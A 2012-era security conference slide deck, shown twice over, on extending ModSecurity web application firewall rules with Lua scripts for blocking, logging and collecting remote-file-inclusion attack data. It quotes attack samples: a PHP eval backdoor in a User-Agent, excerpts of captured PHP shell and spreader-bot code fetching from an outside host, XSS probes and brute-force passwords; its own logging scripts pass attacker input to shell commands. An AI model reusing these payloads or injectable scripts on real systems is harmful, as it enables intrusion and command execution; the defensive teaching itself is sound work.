© 2012
Presented by:
Teaching your WAF new tricks
Robert Rowley
Security Researcher
rrowley@trustwave.com
© 2012
Disclaimer: The scripts contained in these
slides are not recommended for you to
use in production. If you get fired, it's
your own fault.
Harass me on twitter: @iamlei
© 2012
Agenda
• Preamble
– Writing a normal rule
– Lua introduction
– Scripting with: exec, @inspectFile, SecRuleScript
• Counter Intelligence
– RFI hunting/gathering
– Malicious request intelligence collection
– That WordPress Incident
© 2012
Why me?
© 2012
Mod sec intro

Write a rule

Block, Log, Repeat

Apache

IIS, Nginx (Beta)
© 2012
mod_sec variables
REQUEST_BODY
REQUEST_COOKIES
REQUEST_FILENAME
REQUEST_HEADERS
REQUEST_LINE
REQUEST_METHOD
REQUEST_URI
RESPONSE_BODY
RESPONSE_HEADERS
SCRIPT_FILENAME
SCRIPT_USERNAME
TIME
ARGS
ARGS_NAMES
AUTH_TYPE
ENV
FILES
FILES_NAMES
FILES_SIZES
QUERY_STRING
REMOTE_ADDR
REMOTE_HOST
REMOTE_PORT
REMOTE_USER
...AND BEYOND!
© 2012
Normal WAF rule
Example:
Hash Collision DoS (CVE-2011-4885)

http://yourwebsite.com/index.php?EzEzEzEzEzEzEzEz=&
EzEzEzEzEzEzEzFY =&EzEzEzEzEzEzEzG8= &EzEzEzEzEzEzEzH
%17=&EzEzEzEzEzEzFYEz= &EzEzEzEzEzEzFYFY=&
EzEzEzEzEzEzFYG8=&EzEzEzEzEzEzFYH%17=&
EzEzEzEzEzEzG8Ez =&EzEzEzEzEzEzG8FY=& ...
© 2012
Normal WAF rule
Example:
Hash Collision DoS (CVE-2011-4885)

http://yourwebsite.com/index.php?EzEzEzEzEzEzEzEz=&
EzEzEzEzEzEzEzFY =&EzEzEzEzEzEzEzG8= &EzEzEzEzEzEzEzH
%17=&EzEzEzEzEzEzFYEz= &EzEzEzEzEzEzFYFY=&
EzEzEzEzEzEzFYG8=&EzEzEzEzEzEzFYH%17=&
EzEzEzEzEzEzG8Ez =&EzEzEzEzEzEzG8FY=& ...
SecRule &ARGS “@gt 100” deny
© 2012
Normal WAF rule
Example:
Hash Collision DoS (CVE-2011-4885)

http://yourwebsite.com/index.php?EzEzEzEzEzEzEzEz=&
EzEzEzEzEzEzEzFY =&EzEzEzEzEzEzEzG8= &EzEzEzEzEzEzEzH
%17=&EzEzEzEzEzEzFYEz= &EzEzEzEzEzEzFYFY=&
EzEzEzEzEzEzFYG8=&EzEzEzEzEzEzFYH%17=&
EzEzEzEzEzEzG8Ez =&EzEzEzEzEzEzG8FY=& ...
SecRule &ARGS “@gt 1000” deny
© 2012© 2012
Adding Scripts!
© 2012
Which one is not like the others?
192.168.69.101 "GET /index.php?include=pages”
HTTP/1.1" 200 "Mozilla/5.0 (Windows; U; Windows NT 5.1 ...”
192.168.69.101 "GET /index.php?include=/proc/self/enrivon%00”
HTTP/1.1" 200 "<?php eval($_COOKIE['e']); ?>”
192.168.69.101 "GET /”
HTTP/1.1" 200 “Mozilla/5.0 (compatible; Baiduspider/2.0; ...”
© 2012
Which one is not like the others?
192.168.69.101 "GET /index.php?include=pages”
HTTP/1.1" 200 "Mozilla/5.0 (Windows; U; Windows NT 5.1 ...”
192.168.69.101 "GET /index.php?include=/proc/self/enrivon%00”
HTTP/1.1" 200 "<?php eval($_COOKIE['e']); ?>”
192.168.69.101 "GET /”
HTTP/1.1" 200 “Mozilla/5.0 (compatible; Baiduspider/2.0; ...”
© 2012
Another Normal Rule
Example:
SecRule REQUEST_HEADER:User-Agent “<?php”
deny
Blocks:
192.168.69.101 "GET /index.php?include=/proc/self/enrivon%00
HTTP/1.1" 200 "<?php eval($_COOKIE['e']); ?>”
© 2012
Another Normal Rule
Example:
SecRule REQUEST_HEADER:User-Agent “<?php”
deny
© 2012
Not So Normal
Example:
SecRule REQUEST_HEADER:User-Agent “<?php”
deny,exec:dirty_firewaller.lua
© 2012
A little lua intro

Object oriented (Everything is a table)

Light and easy

Available in other tools
– Nmap
– Wireshark
– WoW
© 2012
EXEC
Example:
SecRule REQUEST_HEADERS:User-Agent “<?php”
deny,exec:dirty_firewaller.lua
--- dirty_firewaller.lua ---
function main()
local bad_ip = m.getvar(REMOTE_ADDR)
os.execute(“iptables -A INPUT -s “..bad_ip..” -j DROP”)
end
© 2012
EXEC
Example:
SecRule REQUEST_HEADERS:User-Agent “<?php”
deny,exec:dirty_firewaller.lua
--- dirty_firewaller.lua ---
function main()
local bad_ip = m.getvar(REMOTE_ADDR)
os.execute(“iptables -A INPUT -s “..bad_ip..” -j DROP”)
end
© 2012
EXEC
Example:
SecRule REQUEST_HEADERS:User-Agent “<?php”
deny,exec:dirty_firewaller.lua
--- dirty_firewaller.lua ---
function main()
local bad_ip = m.getvar(REMOTE_ADDR)
os.execute(“iptables -A INPUT -s “..bad_ip..” -j DROP”)
end
© 2012
EXEC
Example:
SecRule REQUEST_HEADERS:User-Agent “<?php”
deny,exec:htaccess_firewaller.lua
--- htaccess_firewaller.lua ---
function main()
local bad_ip = m.getvar(REMOTE_ADDR)
local fh = io.open(“/path/to/.htaccess”, a+)
fh:write(“deny from “..bad_ip)
fh:close()
end
© 2012
Using @inspectFile
SecRule FILES_TMPNAMES
“@inspectFile file_inspector.lua” deny
© 2012
Example script (AV)
SecRule FILES_TMPNAMES
“@inspectFile file_inspector.lua” deny
--- file_inspector.lua ---
function main(filename)
local fh = io.open(filename, “r”)
while(line = fh:read()) do
if(string.match(line, 'MALICIOUS')) then
return 1
end
end
end
© 2012
Example script (AV)
SecRule FILES_TMPNAMES
“@inspectFile file_inspector.lua” deny
--- file_inspector.lua ---
function main(filename)
local fh = io.open(filename, “r”)
while(line = fh:read()) do
if(string.match(line, 'MALICIOUS')) then
return 1
end
end
end
© 2012
Example script (AV)
SecRule FILES_TMPNAMES
“@inspectFile file_inspector.lua” deny
--- file_inspector.lua ---
function main(filename)
local fh = io.open(filename, “r”)
while(line = fh:read()) do
if(string.match(line, 'MALICIOUS')) then
return 1
end
end
end
© 2012
Example script (AV)
SecRule FILES_TMPNAMES
“@inspectFile file_inspector.lua” deny
--- file_inspector.lua ---
function main(filename)
local fh = io.open(filename, “r”)
while(line = fh:read()) do
if(string.match(line, 'MALICIOUS')) then
return 1
end
end
end
© 2012
SpiderLabs making it awesome
• Implemented their own AV detection using
ClamAV
• It’s in the spiderlabs github
• https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/master/util/
runav.pl
© 2012
Matching With Scripts
SecRuleScript “check_blacklist.lua” deny
© 2012
Matching With Scripts
SecRuleScript “check_blacklist.lua” deny
--- check_blacklist.lua ---
function main()
local ip = m.getvar('REMOTE_ADDR')
for line in io.lines("blacklist.txt") do
if string.match(ip, line) then
return 1
end
end
end
© 2012
Matching With Scripts
SecRule REQUEST_URI “admin” deny,chain
SecRuleScript “check_blacklist.lua”
--- check_blacklist.lua ---
function main()
local ip = m.getvar('REMOTE_ADDR')
for line in io.lines("blacklist.txt") do
if string.match(ip, line) then
return 1
end
end
end
© 2012
SpiderLabs making it awesome #2
“ipMatchFromFile” implemented in release 2.7
SecRule REQUEST_URI “admin” deny,chain
SecRule ‘@ipMatchFromFile blacklist.txt’
© 2012© 2012
Counter Intelligence
© 2012
RFI Hunting
192.168.69.101 - - [08/Oct/2012:11:19:27 -0700]
"GET /thumb.php?src=http://site.com/shell.txt
HTTP/1.1" 200 "-" "Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1)"
Trivial to pull from logs
© 2012
RFI Hunting
192.168.69.101 - - [08/Oct/2012:11:12:43 -0700]
"POST /thumb.php HTTP/1.1"
200 "-" "Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1)"
Problem …
© 2012
rfi_logger.lua
SecRule ARGS “^http://” allow,exec:rfi_logger.lua
function main()
local ip = m.getvar("REMOTE_ADDR")
local url = m.getvar("REQUEST_URI")
local args = m.getvars("ARGS")
for j = 1, #args do
if(string.match(args[j].value, 'http')) then
fh = io.open("/tmp/backdoor", "a")
fh:write("---"..ip.." "..url.." "..args[j].name.."="..args[j].value.."---n")
fh:close()
os.execute("wget –q –x -P /tmp/rfi_files/ '"..args[j].value)
end
end
end
© 2012
<?php
###[ SEMBON CrEw SPREAD for RFIBot (2.3) ]###
error_reporting(0);
##### CONFIG #####
$mode = $_GET["mode"];
$url = 'http://www.web-faq.jp/click_counter/data/.data/'; //URL path
$src = $url.'cmd'; //Source Shell
$shell = '404.php'; //Backdoor PHPShell name
$bot = $url.'bot'; //Source PHPBot
##### SPREAD #####
...
die(base64_decode('TWNOIFNoZWxsOiA=').''.$exec.' Failed!'); //encode
biar lebih optimal!
}
...
It works
© 2012
<html><head><title>/// Response CMD ///</title></head><body
bgcolor=DC143C>
<H1>Changing this CMD will result in corrupt scanning !</H1>
</html></head></body>
<?php
...
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
...
It works
© 2012
Better than a blacklist
1) Capture
Request
2) Log IP
Malicious
Request
WAF script
© 2012
Better than a blacklist
Request WAF script
Unobstructed
Response
1) Capture
Request
2) Log All
Data
Malicious Host
Unknown Host
© 2012
Put it together
SecRule REQUEST_HEADERS:User-Agent “<?
php”
deny,status:200,exec:blacklist_ip.lua
SecRule ‘@ipMatchFromFile blacklist.txt’
deny,status:200,exec:uber_logger.lua
© 2012
Put it together
SecRule REQUEST_HEADERS:User-Agent “<?
php” deny,status:200,exec:blacklist_ip.lua
--- blacklist_ip.lua ---
function main()
local ip = m.getvar("REMOTE_ADDR")
fh = io.open("blacklist.txt", "a")
fh:write(ip.."n")
fh:close()
end
© 2012
Put it together
SecRule ‘@ipMatchFromFile blacklist.txt’
deny,status:200,exec:uber_logger.lua
--- uber_logger.lua ---
function main()
local ip = m.getvar("REMOTE_ADDR")
local url = m.getvar("REQUEST_URI")
local args = m.getvars("ARGS")
local headers = m.getvars("REQUEST_HEADERS")
local logstring = " "
for j = 1, #headers do
logstring = logstring.." "..headers[j].name.."="..headers[j].value
end
for j = 1, #args do
logstring = logstring.." "..args[j].name.."="..args[j].value
end
fh = io.open("/tmp/uberlog", "a+")
fh:write(ip.." "..url.." "..logstring.."n")
fh:close()
end
© 2012
Put it together
Uberlog data
69.110.217.76 /index.php?arg=<script>alert(1);</script>
REQUEST_HEADERS:User-Agent=Mozilla/5.0 (compatible;
Nmap Scripting Engine; http://nmap.org/book/nse.html)
REQUEST_HEADERS:Connection=Close
REQUEST_HEADERS:Host=69.110.217.76:80
ARGS:arg=<script>alert(1);</script>
69.110.217.76 /index.php?-s REQUEST_HEADERS:User-
Agent=Mozilla/5.0 (compatible; Nmap Scripting Engine;
http://nmap.org/book/nse.html)
REQUEST_HEADERS:Connection=Close
REQUEST_HEADERS:Host=69.110.217.76:80 ARGS:-s=
© 2012
Data Mining
Capture only on malicious requests
Log far more data
– REQUEST_HEADERS
– POST variables
– COOKIE data
– FILES uploaded in the request
– GeoIP information
– Live data on the attack
– Make pretty* graphs
* OK they are not that pretty
© 2012
Graphs!
© 2012
Graphs!
© 2012
Graphs!
© 2012
The WordPress Incident
(Monitoring Brute Force Attacks)
“Massive” WordPress attack in early April 2013.
Reported by several Hosting providers as reason for outages.
A Mr. Brian K. blogged that it was a botnet recruiting run.
Coincidentally:
I had been monitoring wp-login.php requests with full data for months.
© 2012
The WordPress Incident
(Why was I logging?)
Someone* complained on twitter**
Their logs looked like this:
POST wp-login.php
POST wp-login.php
POST wp-login.php
POST wp-login.php
POST wp-login.php
They wanted to know more.
* it was @Viss
** First time ever that complaining on twitter was beneficial, but not to the complainer.
© 2012
The WordPress Incident
(Script I re-used)
I decided to put the “ueberlogger.lua” script to work.
SecRule REQUEST_URI wp-login.php allow,exec:uberlogger.lua
© 2012
The WordPress Incident
(Script I re-used)
I decided to put the “ueberlogger.lua” script to work.
SecRule REQUEST_URI wp-login.php allow,exec:uberlogger.lua
x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=1admin
x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=admins
x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=webmaster
x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=password
x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=111111
x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=naruto
© 2012
The WordPress Incident
(Data I got)
Password list of the brute force
Frequency of attacks against sites I controlled
Passwords
naruto
pokemon
123456
admin
Sitename123
etc...
Correlated with the data from other researchers
© 2012
The WordPress Incident
(My Perspective)
● It was a brute force, but a lame one.
● It got press because hosts were going down.
● Evidence that WP auth mechanisms can cause DoS.
● WordPress is a buzzword for security press
●
Read my article all about WP auth on the blog.spiderlabs.com :).
© 2012
The WordPress Incident
(My Perspective)
● It was a brute force, but a lame one.
● It got press because hosts were going down.
● Evidence that WP auth mechanisms can cause DoS.
● WordPress is a buzzword for security press
●
Read my article all about WP auth on the blog.spiderlabs.com :).
© 2012
Bibliography/Questions?

http://www.modsecurity.org

http://www.lua.org

http://blog.spiderlabs.com
SpiderLabs github

https://github.com/SpiderLabs
You seriously want my code?

https://github.com/rawrly/ModSecScripts
Take your pitchfork to me on twitter: @iamlei

Teaching Your WAF New Tricks

  • 1.
    © 2012 Presented by: Teachingyour WAF new tricks Robert Rowley Security Researcher rrowley@trustwave.com
  • 2.
    © 2012 Disclaimer: Thescripts contained in these slides are not recommended for you to use in production. If you get fired, it's your own fault. Harass me on twitter: @iamlei
  • 3.
    © 2012 Agenda • Preamble –Writing a normal rule – Lua introduction – Scripting with: exec, @inspectFile, SecRuleScript • Counter Intelligence – RFI hunting/gathering – Malicious request intelligence collection – That WordPress Incident
  • 4.
  • 5.
    © 2012 Mod secintro  Write a rule  Block, Log, Repeat  Apache  IIS, Nginx (Beta)
  • 6.
  • 7.
    © 2012 Normal WAFrule Example: Hash Collision DoS (CVE-2011-4885)  http://yourwebsite.com/index.php?EzEzEzEzEzEzEzEz=& EzEzEzEzEzEzEzFY =&EzEzEzEzEzEzEzG8= &EzEzEzEzEzEzEzH %17=&EzEzEzEzEzEzFYEz= &EzEzEzEzEzEzFYFY=& EzEzEzEzEzEzFYG8=&EzEzEzEzEzEzFYH%17=& EzEzEzEzEzEzG8Ez =&EzEzEzEzEzEzG8FY=& ...
  • 8.
    © 2012 Normal WAFrule Example: Hash Collision DoS (CVE-2011-4885)  http://yourwebsite.com/index.php?EzEzEzEzEzEzEzEz=& EzEzEzEzEzEzEzFY =&EzEzEzEzEzEzEzG8= &EzEzEzEzEzEzEzH %17=&EzEzEzEzEzEzFYEz= &EzEzEzEzEzEzFYFY=& EzEzEzEzEzEzFYG8=&EzEzEzEzEzEzFYH%17=& EzEzEzEzEzEzG8Ez =&EzEzEzEzEzEzG8FY=& ... SecRule &ARGS “@gt 100” deny
  • 9.
    © 2012 Normal WAFrule Example: Hash Collision DoS (CVE-2011-4885)  http://yourwebsite.com/index.php?EzEzEzEzEzEzEzEz=& EzEzEzEzEzEzEzFY =&EzEzEzEzEzEzEzG8= &EzEzEzEzEzEzEzH %17=&EzEzEzEzEzEzFYEz= &EzEzEzEzEzEzFYFY=& EzEzEzEzEzEzFYG8=&EzEzEzEzEzEzFYH%17=& EzEzEzEzEzEzG8Ez =&EzEzEzEzEzEzG8FY=& ... SecRule &ARGS “@gt 1000” deny
  • 10.
  • 11.
    © 2012 Which oneis not like the others? 192.168.69.101 "GET /index.php?include=pages” HTTP/1.1" 200 "Mozilla/5.0 (Windows; U; Windows NT 5.1 ...” 192.168.69.101 "GET /index.php?include=/proc/self/enrivon%00” HTTP/1.1" 200 "<?php eval($_COOKIE['e']); ?>” 192.168.69.101 "GET /” HTTP/1.1" 200 “Mozilla/5.0 (compatible; Baiduspider/2.0; ...”
  • 12.
    © 2012 Which oneis not like the others? 192.168.69.101 "GET /index.php?include=pages” HTTP/1.1" 200 "Mozilla/5.0 (Windows; U; Windows NT 5.1 ...” 192.168.69.101 "GET /index.php?include=/proc/self/enrivon%00” HTTP/1.1" 200 "<?php eval($_COOKIE['e']); ?>” 192.168.69.101 "GET /” HTTP/1.1" 200 “Mozilla/5.0 (compatible; Baiduspider/2.0; ...”
  • 13.
    © 2012 Another NormalRule Example: SecRule REQUEST_HEADER:User-Agent “<?php” deny Blocks: 192.168.69.101 "GET /index.php?include=/proc/self/enrivon%00 HTTP/1.1" 200 "<?php eval($_COOKIE['e']); ?>”
  • 14.
    © 2012 Another NormalRule Example: SecRule REQUEST_HEADER:User-Agent “<?php” deny
  • 15.
    © 2012 Not SoNormal Example: SecRule REQUEST_HEADER:User-Agent “<?php” deny,exec:dirty_firewaller.lua
  • 16.
    © 2012 A littlelua intro  Object oriented (Everything is a table)  Light and easy  Available in other tools – Nmap – Wireshark – WoW
  • 17.
    © 2012 EXEC Example: SecRule REQUEST_HEADERS:User-Agent“<?php” deny,exec:dirty_firewaller.lua --- dirty_firewaller.lua --- function main() local bad_ip = m.getvar(REMOTE_ADDR) os.execute(“iptables -A INPUT -s “..bad_ip..” -j DROP”) end
  • 18.
    © 2012 EXEC Example: SecRule REQUEST_HEADERS:User-Agent“<?php” deny,exec:dirty_firewaller.lua --- dirty_firewaller.lua --- function main() local bad_ip = m.getvar(REMOTE_ADDR) os.execute(“iptables -A INPUT -s “..bad_ip..” -j DROP”) end
  • 19.
    © 2012 EXEC Example: SecRule REQUEST_HEADERS:User-Agent“<?php” deny,exec:dirty_firewaller.lua --- dirty_firewaller.lua --- function main() local bad_ip = m.getvar(REMOTE_ADDR) os.execute(“iptables -A INPUT -s “..bad_ip..” -j DROP”) end
  • 20.
    © 2012 EXEC Example: SecRule REQUEST_HEADERS:User-Agent“<?php” deny,exec:htaccess_firewaller.lua --- htaccess_firewaller.lua --- function main() local bad_ip = m.getvar(REMOTE_ADDR) local fh = io.open(“/path/to/.htaccess”, a+) fh:write(“deny from “..bad_ip) fh:close() end
  • 21.
    © 2012 Using @inspectFile SecRuleFILES_TMPNAMES “@inspectFile file_inspector.lua” deny
  • 22.
    © 2012 Example script(AV) SecRule FILES_TMPNAMES “@inspectFile file_inspector.lua” deny --- file_inspector.lua --- function main(filename) local fh = io.open(filename, “r”) while(line = fh:read()) do if(string.match(line, 'MALICIOUS')) then return 1 end end end
  • 23.
    © 2012 Example script(AV) SecRule FILES_TMPNAMES “@inspectFile file_inspector.lua” deny --- file_inspector.lua --- function main(filename) local fh = io.open(filename, “r”) while(line = fh:read()) do if(string.match(line, 'MALICIOUS')) then return 1 end end end
  • 24.
    © 2012 Example script(AV) SecRule FILES_TMPNAMES “@inspectFile file_inspector.lua” deny --- file_inspector.lua --- function main(filename) local fh = io.open(filename, “r”) while(line = fh:read()) do if(string.match(line, 'MALICIOUS')) then return 1 end end end
  • 25.
    © 2012 Example script(AV) SecRule FILES_TMPNAMES “@inspectFile file_inspector.lua” deny --- file_inspector.lua --- function main(filename) local fh = io.open(filename, “r”) while(line = fh:read()) do if(string.match(line, 'MALICIOUS')) then return 1 end end end
  • 26.
    © 2012 SpiderLabs makingit awesome • Implemented their own AV detection using ClamAV • It’s in the spiderlabs github • https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/master/util/ runav.pl
  • 27.
    © 2012 Matching WithScripts SecRuleScript “check_blacklist.lua” deny
  • 28.
    © 2012 Matching WithScripts SecRuleScript “check_blacklist.lua” deny --- check_blacklist.lua --- function main() local ip = m.getvar('REMOTE_ADDR') for line in io.lines("blacklist.txt") do if string.match(ip, line) then return 1 end end end
  • 29.
    © 2012 Matching WithScripts SecRule REQUEST_URI “admin” deny,chain SecRuleScript “check_blacklist.lua” --- check_blacklist.lua --- function main() local ip = m.getvar('REMOTE_ADDR') for line in io.lines("blacklist.txt") do if string.match(ip, line) then return 1 end end end
  • 30.
    © 2012 SpiderLabs makingit awesome #2 “ipMatchFromFile” implemented in release 2.7 SecRule REQUEST_URI “admin” deny,chain SecRule ‘@ipMatchFromFile blacklist.txt’
  • 31.
  • 32.
    © 2012 RFI Hunting 192.168.69.101- - [08/Oct/2012:11:19:27 -0700] "GET /thumb.php?src=http://site.com/shell.txt HTTP/1.1" 200 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" Trivial to pull from logs
  • 33.
    © 2012 RFI Hunting 192.168.69.101- - [08/Oct/2012:11:12:43 -0700] "POST /thumb.php HTTP/1.1" 200 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" Problem …
  • 34.
    © 2012 rfi_logger.lua SecRule ARGS“^http://” allow,exec:rfi_logger.lua function main() local ip = m.getvar("REMOTE_ADDR") local url = m.getvar("REQUEST_URI") local args = m.getvars("ARGS") for j = 1, #args do if(string.match(args[j].value, 'http')) then fh = io.open("/tmp/backdoor", "a") fh:write("---"..ip.." "..url.." "..args[j].name.."="..args[j].value.."---n") fh:close() os.execute("wget –q –x -P /tmp/rfi_files/ '"..args[j].value) end end end
  • 35.
    © 2012 <?php ###[ SEMBONCrEw SPREAD for RFIBot (2.3) ]### error_reporting(0); ##### CONFIG ##### $mode = $_GET["mode"]; $url = 'http://www.web-faq.jp/click_counter/data/.data/'; //URL path $src = $url.'cmd'; //Source Shell $shell = '404.php'; //Backdoor PHPShell name $bot = $url.'bot'; //Source PHPBot ##### SPREAD ##### ... die(base64_decode('TWNOIFNoZWxsOiA=').''.$exec.' Failed!'); //encode biar lebih optimal! } ... It works
  • 36.
    © 2012 <html><head><title>/// ResponseCMD ///</title></head><body bgcolor=DC143C> <H1>Changing this CMD will result in corrupt scanning !</H1> </html></head></body> <?php ... function ex($cfe){ $res = ''; if (!empty($cfe)){ if(function_exists('exec')){ @exec($cfe,$res); $res = join("n",$res); } elseif(function_exists('shell_exec')){ $res = @shell_exec($cfe); } ... It works
  • 37.
    © 2012 Better thana blacklist 1) Capture Request 2) Log IP Malicious Request WAF script
  • 38.
    © 2012 Better thana blacklist Request WAF script Unobstructed Response 1) Capture Request 2) Log All Data Malicious Host Unknown Host
  • 39.
    © 2012 Put ittogether SecRule REQUEST_HEADERS:User-Agent “<? php” deny,status:200,exec:blacklist_ip.lua SecRule ‘@ipMatchFromFile blacklist.txt’ deny,status:200,exec:uber_logger.lua
  • 40.
    © 2012 Put ittogether SecRule REQUEST_HEADERS:User-Agent “<? php” deny,status:200,exec:blacklist_ip.lua --- blacklist_ip.lua --- function main() local ip = m.getvar("REMOTE_ADDR") fh = io.open("blacklist.txt", "a") fh:write(ip.."n") fh:close() end
  • 41.
    © 2012 Put ittogether SecRule ‘@ipMatchFromFile blacklist.txt’ deny,status:200,exec:uber_logger.lua --- uber_logger.lua --- function main() local ip = m.getvar("REMOTE_ADDR") local url = m.getvar("REQUEST_URI") local args = m.getvars("ARGS") local headers = m.getvars("REQUEST_HEADERS") local logstring = " " for j = 1, #headers do logstring = logstring.." "..headers[j].name.."="..headers[j].value end for j = 1, #args do logstring = logstring.." "..args[j].name.."="..args[j].value end fh = io.open("/tmp/uberlog", "a+") fh:write(ip.." "..url.." "..logstring.."n") fh:close() end
  • 42.
    © 2012 Put ittogether Uberlog data 69.110.217.76 /index.php?arg=<script>alert(1);</script> REQUEST_HEADERS:User-Agent=Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html) REQUEST_HEADERS:Connection=Close REQUEST_HEADERS:Host=69.110.217.76:80 ARGS:arg=<script>alert(1);</script> 69.110.217.76 /index.php?-s REQUEST_HEADERS:User- Agent=Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html) REQUEST_HEADERS:Connection=Close REQUEST_HEADERS:Host=69.110.217.76:80 ARGS:-s=
  • 43.
    © 2012 Data Mining Captureonly on malicious requests Log far more data – REQUEST_HEADERS – POST variables – COOKIE data – FILES uploaded in the request – GeoIP information – Live data on the attack – Make pretty* graphs * OK they are not that pretty
  • 44.
  • 45.
  • 46.
  • 47.
    © 2012 The WordPressIncident (Monitoring Brute Force Attacks) “Massive” WordPress attack in early April 2013. Reported by several Hosting providers as reason for outages. A Mr. Brian K. blogged that it was a botnet recruiting run. Coincidentally: I had been monitoring wp-login.php requests with full data for months.
  • 48.
    © 2012 The WordPressIncident (Why was I logging?) Someone* complained on twitter** Their logs looked like this: POST wp-login.php POST wp-login.php POST wp-login.php POST wp-login.php POST wp-login.php They wanted to know more. * it was @Viss ** First time ever that complaining on twitter was beneficial, but not to the complainer.
  • 49.
    © 2012 The WordPressIncident (Script I re-used) I decided to put the “ueberlogger.lua” script to work. SecRule REQUEST_URI wp-login.php allow,exec:uberlogger.lua
  • 50.
    © 2012 The WordPressIncident (Script I re-used) I decided to put the “ueberlogger.lua” script to work. SecRule REQUEST_URI wp-login.php allow,exec:uberlogger.lua x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=1admin x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=admins x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=webmaster x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=password x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=111111 x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=naruto
  • 51.
    © 2012 The WordPressIncident (Data I got) Password list of the brute force Frequency of attacks against sites I controlled Passwords naruto pokemon 123456 admin Sitename123 etc... Correlated with the data from other researchers
  • 52.
    © 2012 The WordPressIncident (My Perspective) ● It was a brute force, but a lame one. ● It got press because hosts were going down. ● Evidence that WP auth mechanisms can cause DoS. ● WordPress is a buzzword for security press ● Read my article all about WP auth on the blog.spiderlabs.com :).
  • 53.
    © 2012 The WordPressIncident (My Perspective) ● It was a brute force, but a lame one. ● It got press because hosts were going down. ● Evidence that WP auth mechanisms can cause DoS. ● WordPress is a buzzword for security press ● Read my article all about WP auth on the blog.spiderlabs.com :).
  • 54.